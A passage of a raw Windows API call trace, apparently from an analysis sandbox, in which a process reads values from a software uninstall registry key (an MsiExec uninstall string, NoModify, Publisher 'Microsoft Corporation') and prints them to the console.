(in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.486] __iob_func () returned 0x7fefd702a80 [0148.486] _fileno (_File=0x7fefd702ab0) returned 1 [0148.486] _errno () returned 0xc4bb0 [0148.486] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.486] _errno () returned 0xc4bb0 [0148.486] GetFileType (hFile=0x50) returned 0x1 [0148.486] lstrlenW (lpString=" ") returned 4 [0148.486] GetConsoleOutputCP () returned 0x1b5 [0148.486] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.486] GetConsoleOutputCP () returned 0x1b5 [0148.486] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.486] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.486] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.486] __iob_func () returned 0x7fefd702a80 [0148.486] _fileno (_File=0x7fefd702ab0) returned 1 [0148.486] _errno () returned 0xc4bb0 [0148.486] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.486] _errno () returned 0xc4bb0 [0148.486] GetFileType (hFile=0x50) returned 0x1 [0148.486] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.486] GetConsoleOutputCP () returned 0x1b5 [0148.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.487] GetConsoleOutputCP () returned 0x1b5 [0148.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.487] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.487] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.487] __iob_func () returned 0x7fefd702a80 [0148.487] _fileno (_File=0x7fefd702ab0) returned 1 [0148.487] _errno () returned 0xc4bb0 [0148.487] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.487] _errno () returned 0xc4bb0 [0148.487] GetFileType (hFile=0x50) returned 0x1 [0148.487] lstrlenW (lpString=" ") returned 4 [0148.487] GetConsoleOutputCP () returned 0x1b5 [0148.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.487] GetConsoleOutputCP () returned 0x1b5 [0148.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.487] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.487] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.487] __iob_func () returned 0x7fefd702a80 [0148.487] _fileno (_File=0x7fefd702ab0) returned 1 [0148.487] _errno () returned 0xc4bb0 [0148.487] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.487] _errno () returned 0xc4bb0 [0148.487] GetFileType (hFile=0x50) returned 0x1 [0148.487] lstrlenW (lpString="MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}") returned 52 [0148.488] GetConsoleOutputCP () returned 0x1b5 [0148.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0148.488] GetConsoleOutputCP () returned 0x1b5 [0148.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", lpUsedDefaultChar=0x0) returned 52 [0148.488] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0148.488] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.488] __iob_func () returned 0x7fefd702a80 [0148.488] _fileno (_File=0x7fefd702ab0) returned 1 [0148.488] _errno () returned 0xc4bb0 [0148.488] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.488] _errno () returned 0xc4bb0 [0148.488] GetFileType (hFile=0x50) returned 0x1 [0148.488] lstrlenW (lpString="\n") returned 1 [0148.488] GetConsoleOutputCP () returned 0x1b5 [0148.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.488] GetConsoleOutputCP () returned 0x1b5 [0148.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.488] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.488] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.489] GetProcessHeap () returned 0x2e0000 [0148.489] GetProcessHeap () returned 0x2e0000 [0148.489] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.489] GetProcessHeap () returned 0x2e0000 [0148.489] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.489] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0148.489] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.489] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.489] GetProcessHeap () returned 0x2e0000 [0148.489] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.489] GetProcessHeap () returned 0x2e0000 [0148.489] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.489] GetProcessHeap () returned 0x2e0000 [0148.489] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.489] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.489] __iob_func () returned 0x7fefd702a80 [0148.489] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.489] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.489] _fileno (_File=0x7fefd702ab0) returned 1 [0148.489] _errno () returned 0xc4bb0 [0148.489] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.489] _errno () returned 0xc4bb0 [0148.489] GetFileType (hFile=0x50) returned 0x1 [0148.489] lstrlenW (lpString=" ") returned 4 [0148.489] GetConsoleOutputCP () returned 0x1b5 [0148.489] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.489] GetConsoleOutputCP () returned 0x1b5 [0148.490] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.490] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.490] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.490] lstrlenW (lpString="NoModify") returned 8 [0148.490] __iob_func () returned 0x7fefd702a80 [0148.490] _fileno (_File=0x7fefd702ab0) returned 1 [0148.490] _errno () returned 0xc4bb0 [0148.490] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.490] _errno () returned 0xc4bb0 [0148.490] GetFileType (hFile=0x50) returned 0x1 [0148.490] lstrlenW (lpString="NoModify") returned 8 [0148.490] GetConsoleOutputCP () returned 0x1b5 [0148.490] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.490] GetConsoleOutputCP () returned 0x1b5 [0148.490] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0148.490] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.490] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.490] __iob_func () returned 0x7fefd702a80 [0148.490] _fileno (_File=0x7fefd702ab0) returned 1 [0148.490] _errno () returned 0xc4bb0 [0148.490] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.490] _errno () returned 0xc4bb0 [0148.490] GetFileType (hFile=0x50) returned 0x1 [0148.490] lstrlenW (lpString=" ") returned 4 [0148.490] GetConsoleOutputCP () returned 0x1b5 [0148.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.491] GetConsoleOutputCP () returned 0x1b5 [0148.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.491] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.491] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.491] __iob_func () returned 0x7fefd702a80 [0148.491] _fileno (_File=0x7fefd702ab0) returned 1 [0148.491] _errno () returned 0xc4bb0 [0148.491] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.491] _errno () returned 0xc4bb0 [0148.491] GetFileType (hFile=0x50) returned 0x1 [0148.491] lstrlenW (lpString="REG_DWORD") returned 9 [0148.491] GetConsoleOutputCP () returned 0x1b5 [0148.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.491] GetConsoleOutputCP () returned 0x1b5 [0148.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.491] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.491] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.491] __iob_func () returned 0x7fefd702a80 [0148.491] _fileno (_File=0x7fefd702ab0) returned 1 [0148.491] _errno () returned 0xc4bb0 [0148.491] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.492] _errno () returned 0xc4bb0 [0148.492] GetFileType (hFile=0x50) returned 0x1 [0148.492] lstrlenW (lpString=" ") returned 4 [0148.492] GetConsoleOutputCP () returned 0x1b5 [0148.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.492] GetConsoleOutputCP () returned 0x1b5 [0148.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.492] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.492] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.492] __iob_func () returned 0x7fefd702a80 [0148.492] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.492] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.492] _fileno (_File=0x7fefd702ab0) returned 1 [0148.492] _errno () returned 0xc4bb0 [0148.492] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.492] _errno () returned 0xc4bb0 [0148.492] GetFileType (hFile=0x50) returned 0x1 [0148.492] lstrlenW (lpString="0x1") returned 3 [0148.492] GetConsoleOutputCP () returned 0x1b5 [0148.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.492] GetConsoleOutputCP () returned 0x1b5 [0148.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.493] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.493] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.493] __iob_func () returned 0x7fefd702a80 [0148.493] _fileno (_File=0x7fefd702ab0) returned 1 [0148.493] _errno () returned 0xc4bb0 [0148.493] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.493] _errno () returned 0xc4bb0 [0148.493] GetFileType (hFile=0x50) returned 0x1 [0148.493] lstrlenW (lpString="\n") returned 1 [0148.493] GetConsoleOutputCP () returned 0x1b5 [0148.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.493] GetConsoleOutputCP () returned 0x1b5 [0148.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.493] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.493] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.493] GetProcessHeap () returned 0x2e0000 [0148.493] GetProcessHeap () returned 0x2e0000 [0148.493] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.493] GetProcessHeap () returned 0x2e0000 [0148.493] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.493] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.493] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.493] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0148.493] GetProcessHeap () returned 0x2e0000 [0148.494] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0148.494] GetProcessHeap () returned 0x2e0000 [0148.494] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.494] GetProcessHeap () returned 0x2e0000 [0148.494] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.494] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0148.494] __iob_func () returned 0x7fefd702a80 [0148.494] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.494] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.494] _fileno (_File=0x7fefd702ab0) returned 1 [0148.494] _errno () returned 0xc4bb0 [0148.494] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.494] _errno () returned 0xc4bb0 [0148.494] GetFileType (hFile=0x50) returned 0x1 [0148.494] lstrlenW (lpString=" ") returned 4 [0148.494] GetConsoleOutputCP () returned 0x1b5 [0148.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.494] GetConsoleOutputCP () returned 0x1b5 [0148.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.494] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.494] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.494] lstrlenW (lpString="Publisher") returned 9 [0148.494] __iob_func () returned 0x7fefd702a80 [0148.494] _fileno (_File=0x7fefd702ab0) returned 1 [0148.494] _errno () returned 0xc4bb0 [0148.494] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.494] _errno () returned 0xc4bb0 [0148.494] GetFileType (hFile=0x50) returned 0x1 [0148.494] lstrlenW (lpString="Publisher") returned 9 [0148.495] GetConsoleOutputCP () returned 0x1b5 [0148.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.495] GetConsoleOutputCP () returned 0x1b5 [0148.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0148.495] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.495] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.495] __iob_func () returned 0x7fefd702a80 [0148.495] _fileno (_File=0x7fefd702ab0) returned 1 [0148.495] _errno () returned 0xc4bb0 [0148.495] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.495] _errno () returned 0xc4bb0 [0148.495] GetFileType (hFile=0x50) returned 0x1 [0148.495] lstrlenW (lpString=" ") returned 4 [0148.495] GetConsoleOutputCP () returned 0x1b5 [0148.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.495] GetConsoleOutputCP () returned 0x1b5 [0148.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.495] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.495] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.496] __iob_func () returned 0x7fefd702a80 [0148.496] _fileno (_File=0x7fefd702ab0) returned 1 [0148.496] _errno () returned 0xc4bb0 [0148.496] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.496] _errno () returned 0xc4bb0 [0148.496] GetFileType (hFile=0x50) returned 0x1 [0148.496] lstrlenW (lpString="REG_SZ") returned 6 [0148.496] GetConsoleOutputCP () returned 0x1b5 [0148.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.496] GetConsoleOutputCP () returned 0x1b5 [0148.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.496] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.496] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.496] __iob_func () returned 0x7fefd702a80 [0148.496] _fileno (_File=0x7fefd702ab0) returned 1 [0148.496] _errno () returned 0xc4bb0 [0148.496] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.496] _errno () returned 0xc4bb0 [0148.496] GetFileType (hFile=0x50) returned 0x1 [0148.496] lstrlenW (lpString=" ") returned 4 [0148.496] GetConsoleOutputCP () returned 0x1b5 [0148.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.496] GetConsoleOutputCP () returned 0x1b5 [0148.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.497] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.497] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.497] __iob_func () returned 0x7fefd702a80 [0148.497] _fileno (_File=0x7fefd702ab0) returned 1 [0148.497] _errno () returned 0xc4bb0 [0148.497] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.497] _errno () returned 0xc4bb0 [0148.497] GetFileType (hFile=0x50) returned 0x1 [0148.497] lstrlenW (lpString="Microsoft Corporation") returned 21 [0148.497] GetConsoleOutputCP () returned 0x1b5 [0148.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0148.497] GetConsoleOutputCP () returned 0x1b5 [0148.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0148.497] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0148.497] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.497] __iob_func () returned 0x7fefd702a80 [0148.497] _fileno (_File=0x7fefd702ab0) returned 1 [0148.497] _errno () returned 0xc4bb0 [0148.497] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.497] _errno () returned 0xc4bb0 [0148.497] GetFileType (hFile=0x50) returned 0x1 [0148.497] lstrlenW (lpString="\n") returned 1 [0148.497] GetConsoleOutputCP () returned 0x1b5 [0148.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.498] GetConsoleOutputCP () returned 0x1b5 [0148.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.498] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.498] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.498] GetProcessHeap () returned 0x2e0000 [0148.498] 